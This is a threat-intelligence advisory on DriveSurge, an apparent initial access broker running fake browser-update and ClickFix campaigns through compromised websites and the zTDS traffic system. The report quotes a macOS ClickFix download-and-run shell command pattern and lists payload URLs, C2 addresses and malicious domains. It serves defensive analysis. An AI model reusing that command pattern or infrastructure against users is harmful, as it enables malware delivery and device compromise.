# DriveSurge — Initial Access Broker Drives Mass ClickFix & Fake Browser Update Campaign via zTDS (Silent Push)

> DriveSurge is a financially motivated Initial Access Broker that injects obfuscated JavaScript into thousands of compromised high-reputation websites, routing visitors through an open-source zTDS Traffic Distribution System that profiles each victim and serves either fake browser-update downloads (a ZIP of DLLs plus a malicious 'Browser Update.exe') or ClickFix prompts that coerce the user into pasting a command into PowerShell or a terminal. Operating a Pay-Per-Install model across Windows and macOS, DriveSurge sells confirmed infections to downstream actors and uses a separate Advertisement Distribution System with mouse/scroll/click behavioral checks to evade automated analysis.

- **Published:** 2026-06-01T00:00:00Z
- **Last reviewed:** 2026-06-01T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0639
- **ID:** TL-2026-0639
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** DriveSurge
- **Detections:** 9 · **IOCs:** 27 (full data via the Threadlinqs MCP server — Purple tier)

## Description

DriveSurge is a specialized Initial Access Broker (IAB) identified by Silent Push that monetizes a Pay-Per-Install (PPI) model: it collects payment each time a victim device is successfully infected and supplies confirmed access to downstream threat actors. The operation ran largely undetected while compromising thousands of legitimate, high-reputation websites, into which DriveSurge injects hidden, obfuscated JavaScript (commonly delivered as a file named t.js with a site=[32-hex] victim identifier). The inject runs in the background and routes the visitor through a zTDS — an open-source Traffic Distribution System publicly available at ztds.info since at least 2015 (changelog v1.0.3) and used in this campaign at scale.

zTDS profiles each visitor and decides what to serve next, fetching payload scripts from a 'jsrepo' endpoint with a rotating rnd= parameter and assembling URLs via Base64 (atob()) decoding and string concatenation to hide redirect code inside normal-looking page elements. A failover mechanism cycles through multiple backup delivery servers — newtdsone.shop, cptoptious.com, and captioto.com — to maintain resilience. Researchers mapped eight distinct technical fingerprints spanning script-injection filenames (t.js, t.[12-hex].js, ext-b[12-hex].js matching SHA256 prefixes), malicious server configuration (HTTP header values, JARM, nginx version, body SHA256), and domain registration patterns (.icu TLD, ns1.erans.ru nameserver, self-named MX, ASNs 203273/210644, NiceNIC registrar), plus two WHOIS email pivots.

Victims are funneled to one of two social-engineering payloads. The FakeUpdates path serves a convincing browser-update prompt impersonating Chrome, Firefox, Edge, Safari, Opera, Brave, Yandex, Vivaldi, Samsung Internet, or UC Browser; clicking downloads a ZIP containing multiple DLL files and a malicious 'Browser Update.exe' that is executed (consistent with DLL side-loading). The ClickFix path displays a fake error or reCAPTCHA-style verification overlay instructing the victim to copy and paste a 'fix' into the Run dialog, PowerShell, or a terminal, which silently installs malware; one observed instance pulled second-stage code from 91.92.240.127, an IP already flagged in bulletproof-hosting threat-intel feeds.

The campaign is cross-platform. The analyzed macOS payload was delivered via a multi-stage shell command (pattern: cd /tmp && curl -kfsSL <url> -o <random> && bash <random> && rm -f <random>), Base64-wrapped with btoa(unescape(encodeURIComponent())) and prefixed with fake 'reCAPTCHA Verification ID' text; after downloading and executing a secondary file it self-deleted to reduce forensic traces, retrieving the payload from hxxp://46.226.166.57/ce3cbfc887?force=1 with C2 at 147.45.42.205:8133.

A separate Advertisement Distribution System (ADS), hosted on banerpanel.live with a Russian-language admin panel and a banner-js.php script, fronts the operation and acts as an anti-analysis gate: it collects device metadata (screen resolution, hardware), monitors mouse movement, scrolls, and clicks to compute a human 'trust score', applies local-storage frequency capping, and transmits telemetry with anti-forgery click hashing — ensuring payloads are withheld from sandboxes and crawlers. Infrastructure clues (Russian-language panel, ns1.erans.ru nameserver, use of tempmail.so / ycyfugihih.cfd disposable email for domain registration) point to a Russian-speaking operator, though formal nation-state attribution is low-confidence; motivation is financial.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1584 Compromise Infrastructure
- T1588 Obtain Capabilities
- T1608 Stage Capabilities
- T1592 Gather Victim Host Information
- T1189 Drive-by Compromise
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1027 Obfuscated Files or Information
- T1036 Masquerading
- T1574 Hijack Execution Flow
- T1070 Indicator Removal
- T1497 Virtualization/Sandbox Evasion
- T1480 Execution Guardrails
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1102 Web Service

## Sources

- [Meet DriveSurge: A New Threat Actor Using ClickFix and Fake Update Drive-By Attacks in Thousands of Compromised Sites](https://www.silentpush.com/blog/drivesurge/)
- [New DriveSurge Threat Actor Uses ClickFix and Fake Updates to Infect Website Visitors](https://cybersecuritynews.com/new-drivesurge-threat-actor-uses-clickfix/)
- [ClickFix malware: Silent Push tracks 2,000+ domains and IPs affected by WordPress fake browser update infostealers](https://www.silentpush.com/blog/clickfix/)
- [Unmasking SocGholish: Silent Push Untangles the Malware Web Behind the Pioneer of Fake Updates (TA569)](https://www.silentpush.com/blog/socgholish/)
- [User Execution: Malicious Copy and Paste, Sub-technique T1204.004](https://attack.mitre.org/techniques/T1204/004/)
- [Command and Scripting Interpreter: PowerShell, Sub-technique T1059.001](https://attack.mitre.org/techniques/T1059/001/)
- [ClickFix attack uses fake Windows Update screen to push malware](https://www.bleepingcomputer.com/news/security/clickfix-attack-uses-fake-windows-update-screen-to-push-malware/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0639